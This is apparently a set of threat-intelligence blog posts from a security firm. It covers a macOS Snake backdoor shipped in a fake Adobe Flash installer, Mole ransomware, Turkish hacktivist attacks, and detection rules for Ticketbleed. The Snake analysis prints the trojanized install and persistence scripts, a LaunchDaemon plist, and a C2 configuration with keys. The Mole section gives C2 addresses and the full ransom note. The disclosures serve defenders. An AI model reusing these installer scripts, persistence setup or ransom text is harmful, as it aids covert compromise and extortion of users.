The OS X version of Snake is a port of the Windows version. References to explorer, Internet Explorer and Named Pipes are still present in the binary.

Install Adobe Flash Player.app

The Snake binary comes inside of a ZIP archive named Adobe Flash Player.app.zip which is a backdoored version of Adobe’s Flash Player installer.

The install.sh script is patched with the following lines:

#!/bin/sh
SCRIPT_DIR=$(dirname "$0")
TARGET_PATH=/Library/Scripts
TARGET_PATH2=/Library/LaunchDaemons
cp -f "${SCRIPT_DIR}/queue" "${TARGET_PATH}/queue"
cp -f "${SCRIPT_DIR}/installdp" "${TARGET_PATH}/installdp"
cp -f "${SCRIPT_DIR}/installd.sh" "${TARGET_PATH}/installd.sh"
cp -f "${SCRIPT_DIR}/com.adobe.update" "$TARGET_PATH2/com.adobe.update.plist"
"${TARGET_PATH}/installd.sh"
"${SCRIPT_DIR}/Install Adobe Flash Player"
exit $RC

The installd.sh that is invoked contains the following code:

#!/bin/bash
SCRIPT_DIR=$(dirname "$0")
FILE="${SCRIPT_DIR}/queue#1"
PIDS=`ps cax | grep installdp | grep -o '^[ ]*[0-9]*'`
if [ -z "$PIDS" ]; then
${SCRIPT_DIR}/installdp ${FILE} n
fi

The shell script checks if installdp is already running, if not it will start with:

/Library/Scripts/installdp /Library/Scripts/queue#1 n

Persistence

The backdoor is persisted via Apple’s LaunchDaemon service:

$ plutil -p /Library/LaunchDaemons/com.adobe.update.plist
{
"ProgramArguments" => [
0 => "/Library/Scripts/installd.sh"
]
"KeepAlive" => 1
"Label" => "com.apple.update"
"OnDemand" => 1
"POSIXSpawnType" => "Interactive"
}

Codesigning details

In order for an Application to be run on OS X it has to be signed with a valid certificate issued by Apple or it would be blocked by GateKeeper (unless configured otherwise). The following, likely stolen, developer certificate was used to sign the fake Adobe Flash installer which includes the Snake binary:

Executable=Install Adobe Flash Player.app/Install
Identifier=com.addy.InstallAdobeFlash
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=390 flags=0x0(none) hashes=12+3 location=embedded
Hash type=sha1 size=20
CandidateCDHash sha1=ffc1a65f9153c94999212fb8bd7e3950eca035ae
Hash choices=sha1
CDHash=ffc1a65f9153c94999212fb8bd7e3950eca035ae
Signature size=4231
Authority=Developer ID Application: Addy Symonds (EHWBRW848H)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Signed Time=21 Feb 2017 08:55:36
Info.plist entries=22
TeamIdentifier=EHWBRW848H
Sealed Resources version=2 rules=12 files=86
Internal requirements count=1 size=188

Fox-IT has informed Apple’s security team with the request to revoke the certificate.

Debug build

Several strings found throughout the binary indicate that this version is in fact a debug build.

fwrite("Usage: snake_test e[vent]|n[ormal]\n", 0x30uLL, 1uLL, *__stderrp_ptr);

fprintf(v16, "[%s:%s:%d] %s\n", "../../../snake/snake_test.c", "main", 86LL, err);

An interesting observation is the fact that the contents of a temporary file storing command output are converted using KOI8-R encoding, designed to cover the Russian language, which uses the Cyrillic alphabet.

ascii2uni(koi8_str, unicode_str, -1LL, "KOI8-R");

This indicates that the developers tested with Russian command output (encoded using the KOI8-R codepage). On systems where the command output is displayed in another language (and another codepage), text would be incorrectly respresented in Cyrillic characters.

Queue file

Builds of Snake generally contain a Queue file. Queue files are used to store Snake’s configuration data, module binaries and queued network packets.

$ python MM_snake_queuefile.py queue
OFFSET STREAM TYPE ID SIZE WRITTEN DATA
0x0000006c 00000001 0002 00000227 00000010 2017-02-10 12:23:22 '\x98\xa7w{\xc7\xcc4\x03-\xdcz\x0b\xc9,`\x1c'
0x000000bc 00000001 0002 00000228 00000010 2017-02-10 12:23:22 '\x90*\xa6\xc5c\x89H\xe2>\x9fS\x1f\xb2\x0b\xf8\xb7'
0x0000010c 00000001 0002 00000229 00000010 2017-02-10 12:23:22 '\x95\x9a\xdf\x82\xf8l\xbe.YR)\xcc\x1a{\xac\x8f'
0x0000015c 00000001 0002 000000df 00000009 2017-02-10 12:23:22 '300000\x00'
0x000001a5 00000001 0002 000000e0 00000009 2017-02-10 12:23:22 '600000\x00'
0x000001ee 00000001 0002 00000190 00000009 2017-02-10 12:23:22 '20000\x00'
0x00000237 00000001 0002 000000e1 00000009 2017-02-10 12:23:22 '4096\x00'
0x00000280 00000001 0002 000000e2 00000009 2017-02-10 12:23:22 '65536\x00'
0x000002c9 00000001 0002 00000143 00000009 2017-02-10 12:23:22 '4096\x00'
0x00000312 00000001 0002 00000144 00000009 2017-02-10 12:23:22 '65536\x00'
0x0000035b 00000001 0002 00000001 00000009 2017-02-10 12:23:22 '1000\x00'
0x000003a4 fffffffd 0002 00000229 00000010 2017-02-10 12:23:22 '\xfb \xb20\x87\xb9m\xa2\x80!\x80\xcc\x1aJbX'
0x000003f4 00000001 0002 00000008 00000011 2017-02-10 12:23:22 '0xfd4488e9\x00'
0x00000445 00000001 0002 00000009 00000009 2017-02-10 12:23:22 '0\x00'
0x0000048e 00000001 0002 00000064 00000009 2017-02-10 12:23:22 '2\x00'
0x000004d7 00000001 0002 00000065 00000021 2017-02-10 12:23:22 'enc.unix//tmp/.gdm-socket\x00'
0x00000538 00000001 0002 00000066 00000031 2017-02-10 12:23:22 'enc.frag.reliable.doms.unix//tmp/.gdm-selinux\x00'
0x000005a9 00000001 0002 00000070 00000029 2017-02-10 12:23:22 'read_peer_nfo=Y,psk=!HqACg3ILQd-w7e4\x00'
0x00000612 00000001 0002 00000071 00000019 2017-02-10 12:23:22 'psk=R@gw1gBsRP!5!yj0\x00'
0x0000066b 00000001 0002 000000c8 00000009 2017-02-10 12:23:23 '1\x00'
0x000006b4 00000001 0002 000000c9 00000029 2017-02-10 12:23:23 'enc.http.tcp/car-service.effers.com:80\x00'
0x0000071d 00000001 0002 000000d4 00000029 2017-02-10 12:23:23 'psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0\x00'
0x00000786 00000001 0002 0000012c 00000009 2017-02-10 12:23:23 '1\x00'
0x000007cf 00000001 0002 0000012d 00000029 2017-02-10 12:23:23 'enc.http.tcp/car-service.effers.com:80\x00'
0x00000838 00000001 0002 00000138 00000029 2017-02-10 12:23:23 'psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0\x00'

The following transport chains are configured in this queue file:

enc.unix//tmp/.gdm-socket read_peer_nfo=Y,psk=!HqACg3ILQd-w7e4
enc.frag.reliable.doms.unix//tmp/.gdm-selinux psk=R@gw1gBsRP!5!yj0
enc.http.tcp/car-service.effers.com:80 psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0

Obfuscated strings

Snake binaries contain strings that can be obtained through snake_name_get() call. These strings are stored as a pair of 0x40 byte blobs that are XOR-ed against each other. In this binary the blobs only contain placeholders that are yet to be replaced by the actual values, which is another indication that this Snake binary is not yet ready to deploy to targets.

00187e20 00 00 00 00 00 30 31 32 41 30 34 44 45 43 42 43 |.....012A04DECBC|
00187e30 34 34 31 65 34 39 43 35 32 37 42 32 37 39 38 46 |441e49C527B2798F|
00187e40 35 34 43 41 37 51 55 45 55 45 5f 50 41 54 48 5f |54CA7QUEUE_PATH_|
00187e50 55 4e 49 58 00 00 00 00 00 00 00 00 00 00 00 00 |UNIX............|
00187e60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00187ea0 00 00 00 00 00 30 31 32 41 30 34 44 45 43 42 43 |.....012A04DECBC|
00187eb0 34 34 31 65 34 39 43 35 32 37 42 32 37 39 38 46 |441e49C527B2798F|
00187ec0 35 34 43 41 37 4d 45 4a 49 52 4f 44 5f 50 41 54 |54CA7MEJIROD_PAT|
00187ed0 48 5f 44 41 52 57 49 4e 00 00 00 00 00 00 00 00 |H_DARWIN........|
00187ee0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

Indicators of compromise

Files

/Library/LaunchDaemons/com.adobe.update.plist
/Library/Scripts/installd.sh
/Library/Scripts/queue
/var/tmp/.ur-*
/tmp/.gdm-socket
/tmp/.gdm-selinux

SHA256:

b8ee4556dc09b28826359b98343a4e00680971a6f8c6602747bd5d723d26eaea Install Adobe Flash Player.app.zip
5b7792a16c6b7978fca389882c6aeeb2c792352076bf6a064e7b8b90eace8060 Install
0a77f1b59c829a83d91a12c871fbd30c5c9d04b455f497e0c231cd21104bfea9 install.sh
7848f7808af02ba0466f3a0687cf949c4d29a2d94b035481a3299ec519aaaa30 Install Adobe Flash Player
d5ea79632a1a67abbf9fb1c2813b899c90a5fb9442966ed4f530e92715087ee2 Installdp
b6df610aa5c1254c3af5b2ff806562c4937704e4ac248577cdcd3e7e7b3578a0 com.adobe.update
6e207a375782e3c9d86a3e426cfa38eddcf4898b3556abc75889f7e01cc49506 installd.sh
92721d719b8085748fb66366d202457f6d38bfa108a2ecda71eee7e68f43a387 queue

Network

The following domain is configured in Snake's queue file for HTTP network transport:

car-service.effers.com

The resolving IP belongs to a Satellite communications provider:

83.229.87.11

Though Snake is typically spread using spear-phishing e-mails and watering hole attacks Fox-IT has not yet observed this sample being spread in the wild.

Jelle Vergeer, Krijn de Mik, Mitchel Sahertian, Maarten van Dantzig & Yun Zheng Hu
Fox-IT Threat Intelligence

References

A Mole exposing itself to sunlight

Posted on April 14, 2017 by Mike Stokkel

With the daily growth of the different kinds of ransomware and distribution techniques, Fox-IT’s Security Operations Center was investigating a new ransomware called Mole. This ransomware is currently being spread by a social engineering exploit kit to trick the user in downloading a malicious executable.

The ransomware author of Mole made a small mistake, which gives everyone the statistics of all the infected clients.

Distribution of Mole

The social engineering exploit-kit tricks the user in downloading and installing a malicious “plugin” for Office.

website

After executing the malicious “plugin”, the user receives a fake pop-up displaying an error message. Although the message indicates that the installation has failed, it’s an indicator that ransomware is successfully executed. After displaying the fake error message, certain processes will be terminated, the Windows backups used for recovery will be deleted and the encryption process will be initiated.

Once the encryption process is done, all the files will have the .MOLE extension and a ransom note will be displayed. Currently it’s not possible to recover your files for free, the only solutions is to clean the pc from the infection and restore from a recent backup.

What makes this ransomware different?

Compared to all the other ransomware currently being spread, Mole isn’t any different.
Except that the author of the Mole-ransomware made a small mistake, the statistics of Mole’s infections are openly accessible.

While tracking the infection process, Fox-IT noticed a sudden growth in infections within few hours’ time. The current total of infections is 500+ and growing, further investigation indicates that almost 50% of the IP’s were unique. The fact that around the half of the IP’s are unique, could be because companies are being targeted.

1	United States	86
2	Great Britain	17
3	Germany	12
4	Korea	11
5	India	11
6	Netherlands	10
7	China	10
8	Canada	8
9	France	6
10	Norway	5

Top 10 unique IP infections per country

Indicators of compromise

Hash: 5ca18c9f5ec26a30de429accf60fc08b0ef785810db173dd65c981a550010dde (pluginoffice.exe)
Hash: e6591a9389c7b82d59949b8c5660e773b86dff1fa3909f780cb8c88bbc85646c (plugin-office.exe)

Hostname: digitalecosystems.com (download)
Hostname: network.mrtg.belcenter.net (download)
Hostname: brutenutrition.net (download)
Hostname: bettermannow.com (download)

IP: 212.47.254.187 (C2 server)

Ransom note:

All your important files were encrypted on this computer.
You can verify this by click on see files an try open them.
Encryption was produced using unique public key RSA-1024 generated for this computer.
To decrypted files, you need to obtain private key.
The single copy of the private key, with will allow you to decrypt the files, is locate on a secret server on the internet.
The server will destroy the key within 78 hours after encryption completed.
To retrieve the private key, you need to Contact us by email , send us an email your DECRYPT-ID-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx number
and wait for further instructions.
For you to be sure, that we can decrypt your files – you can send us a single encrypted file and we will send you back it in a decrypted form.
Please do not waste your time! You have 72 hours only! After that The Main Server will double your price!

E-MAILS ADRESS:
oceanm@engineer.com
oceanm@india.com

Turkish hacktivists targeting the Netherlands: high noise, low impact

Posted on March 23, 2017 by maartenvandantzigfoxit

As a result of increased political tensions between The Netherlands and Turkey, a surge in activity from several Turkish hacker groups has been observed by Fox-IT.

Most activities observed thus far appear to be aimed at defacement and disruption of online Dutch infrastructure. Most of the methods and techniques used to achieve this goal are relatively simple and can be executed by an individual with basic knowledge and skills.

Targets of ‘disruption attacks’, in the form of Distributed Denial of Service (DDoS) attacks, appear to have been directly related to the conflict between Turkey and The Netherlands, with regards to the denial of two of Turkey’s ministers from visiting The Netherlands on March 11th 2017. Some of the targeted websites had difficulties defending against the DDoS attacks, such as stemwijzer.nl and kieskompas.nl, resulting in downtime, just one day before the Dutch elections.

Defacements were seen across seemingly random Twitter accounts and Dutch websites, carried out by individuals which gathered on publically accessible hacking forums, where hackers were called to arms, using operation names such as Hollanda Operasyonu (translated: Holland Operation).

An example of a WordPress website (iwiweb.nl) defaced, using the recently disclosed WordPress content injection vulnerability, can be seen on the image below:

Most of these defacement attempts can be stopped by following basic security guidelines, such as regularly updating WordPress & other software installed on the webserver.

The full write-up describes several methods and techniques used by the Turkish hacker groups in order to compromise, deface or disrupt online Dutch infrastructure.

Download the write-up ‘Turkish Hacktivism targeting The Netherlands’

Detecting Ticketbleed (CVE-2016-9244)

Posted on February 13, 2017 by lennarthaagsma

On Thursday February 9th the vulnerability named ’Ticketbleed’ was made public. The name of this vulnerability does not just sound similar to Heartbleed, but also shares the same implication: remote reading of uninitialized memory. At the time we published Snort IDS detection rules for the Heartbleed vulnerability in OpenSSL, and have now decided to do the same for the F5 vulnerability: Ticketbleed.

About Ticketbleed:
The vulnerability that would later become known as Ticketbleed, was identified by Filippo Valsorda following a support ticket at Cloudflare. The symptoms were failing connections between applications using the TLS Library of the Go programming language and F5 BIG-IP appliances. Filippo identified that SSL resumption requests were failing due to an assumption of the Session Ticket ID length in F5’s TLS stack. This exposes up to 31 bytes of memory per session, a lot less than Hearbleed, which leaked 64k bytes at a time. For more technical details see Finding Ticketbleed post by Filippo.

Mitigation:
Those running vulnerable F5 Appliances have two options to mitigate this vulnerability. One option is to disable Session Tickets entirely on the F5, this should stop the leaking of memory immediately and at virtually no cost. The recommended fix is to upgrade to the latest firmware which plugs this specific problem entirely as described in the following KB article K05121675.

Detection:
At Fox-IT we frequently write IDS detection rules, especially for customers, APTs, hacking tools or new vulnerabilities like Ticketbleed. The Ticketbleed website bears the following warning for those writing IDS signatures to detect the vulnerability:

The issue can be identified by passive traffic monitoring, as the Session ID field is unencrypted.

However, I’d like to strongly discourage IDS vendors from making signatures that simply detect Session IDs shorter than 32 bytes. Any length between 1 and 32 bytes is legal according to the RFC specification.

The Go standard library legitimately uses 16 bytes Session IDs, and browsers considered using 1 byte Session IDs for this purpose. It’s important for security software not to needlessly constrain future decisions in that direction.

Taking this into account, we wrote two signatures for Snort IDS. The first rule searches for ‘Client Hello’ packets that have a session identifier that is shorter than 32 bytes. Using the ‘flowbits’ feature of Snort, the second signature looks for a ‘Server Hello’ packet that does contain a 32 byte session identifier. Writing rules to match binary protocols such as TLS can be challenging and has a higher chance of false positives. While this signature has not resulted in any False Positives on our side, we welcome any feedback as a result of these rules.

Rules:
The two rules can be found on our GitHub Gists:

https://gist.github.com/fox-srt/bc59eb69dc8f261f97f9623bde885f4b

When trying to verify hits in Wireshark we used the following expression filters:

Identify packets containing SSL session identifiers:

ssl.handshake.session_id_length

Search for session identifiers smaller than 32 bytes and equal to 32 bytes:

(ssl.handshake.session_id_length > 0 && ssl.handshake.session_id_length < 32) || ssl.handshake.session_id_length == 32

If the above filter returns two packets, you are likely dealing with a vulnerable F5 appliance. As can be seen in the following screenshot:

Wireshark filter matching Client en Server Hello with different ‘Session ID’ lengths.

Special thanks to Yun Zheng Hu for writing these rules!